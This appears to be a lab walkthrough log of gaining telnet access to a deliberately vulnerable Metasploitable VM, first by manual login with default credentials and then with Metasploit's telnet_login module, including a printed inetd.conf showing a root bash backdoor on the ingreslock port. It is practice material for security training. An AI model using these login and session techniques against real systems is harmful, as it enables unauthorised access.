23/tcp open telnet Linux telnetd

┌──(root💀kali)-[~]

└─# telnet 192.168.1.36 23 1 ⨯

Trying 192.168.1.36...

Connected to 192.168.1.36.

Escape character is '^]'.

\_ \_ \_ \_ \_ \_ \_\_\_\_

\_ \_\_ \_\_\_ \_\_\_| |\_ \_\_ \_ \_\_\_ \_ \_\_ | | \_\_\_ (\_) |\_ \_\_ \_| |\_\_ | | \_\_\_|\_\_\_ \

| '\_ ` \_ \ / \_ \ \_\_/ \_` / \_\_| '\_ \| |/ \_ \| | \_\_/ \_` | '\_ \| |/ \_ \ \_\_) |

| | | | | | \_\_/ || (\_| \\_\_ \ |\_) | | (\_) | | || (\_| | |\_) | | \_\_// \_\_/

|\_| |\_| |\_|\\_\_\_|\\_\_\\_\_,\_|\_\_\_/ .\_\_/|\_|\\_\_\_/|\_|\\_\_\\_\_,\_|\_.\_\_/|\_|\\_\_\_|\_\_\_\_\_|

|\_|

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmim^H^H^H

Password:

Login incorrect

metasploitable login: msfadmin

Password:

Last login: Sat Jun 25 02:01:15 EDT 2022 on tty1

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/\*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by

applicable law.

To access official Ubuntu documentation, please visit:

http://help.ubuntu.com/

No mail.

msfadmin@metasploitable:~$ ls

vulnerable

msfadmin@metasploitable:~$ cat /etc/inetd.conf

#<off># netbios-ssn stream tcp nowait root /usr/sbin/tcpd /usr/sbin/smbd

telnet stream tcp nowait telnetd /usr/sbin/tcpd /usr/sbin/in.telnetd

#<off># ftp stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.ftpd

tftp dgram udp wait nobody /usr/sbin/tcpd /usr/sbin/in.tftpd /srv/tftp

shell stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.rshd

login stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.rlogind

exec stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.rexecd

ingreslock stream tcp nowait root /bin/bash bash -i

msfadmin@metasploitable:~$ cat /etc/inetd.conf

#<off># netbios-ssn stream tcp nowait root /usr/sbin/tcpd /usr/sbin/smbd

telnet stream tcp nowait telnetd /usr/sbin/tcpd /usr/sbin/in.telnetd

#<off># ftp stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.ftpd

tftp dgram udp wait nobody /usr/sbin/tcpd /usr/sbin/in.tftpd /srv/tftp

shell stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.rshd

login stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.rlogind

exec stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.rexecd

ingreslock stream tcp nowait root /bin/bash bash -i

msfadmin@metasploitable:~$ cat /etc/xinetd.d/telnet

The other Way

msf6 > use auxiliary/scanner/telnet/telnet\_login

msf6 auxiliary(scanner/telnet/telnet\_login) > set rhosts 192.168.1.36

rhosts => 192.168.1.36

msf6 auxiliary(scanner/telnet/telnet\_login) > set rport 23

rport => 23

msf6 auxiliary(scanner/telnet/telnet\_login) > set username msfadmin

username => msfadmin

msf6 auxiliary(scanner/telnet/telnet\_login) > set password msfadmin

password => msfadmin

msf6 auxiliary(scanner/telnet/telnet\_login) > run

[!] 192.168.1.36:23 - No active DB -- Credential data will not be saved!

[+] 192.168.1.36:23 - 192.168.1.36:23 - Login Successful: msfadmin:msfadmin

[\*] 192.168.1.36:23 - Attempting to start session 192.168.1.36:23 with msfadmin:msfadmin

[\*] Command shell session 1 opened (192.168.1.43:37833 -> 192.168.1.36:23) at 2022-06-25 06:53:07 -0400

[\*] 192.168.1.36:23 - Scanned 1 of 1 hosts (100% complete)

[\*] Auxiliary module execution completed

msf6 auxiliary(scanner/telnet/telnet\_login) > sessions

Active sessions

===============

Id Name Type Information Connection

-- ---- ---- ----------- ----------

1 shell TELNET msfadmin:msfadmin (192.168.1.36:23 192.168.1.43:37833 -> 192.168.1.36:23 (192.168.1.36)

msf6 auxiliary(scanner/telnet/telnet\_login) > sessions -i 1

[\*] Starting interaction with 1...

TELNET msfadmin:msfadmin (192.168.1.36:23)

msfadmin@metasploitable:~$ ls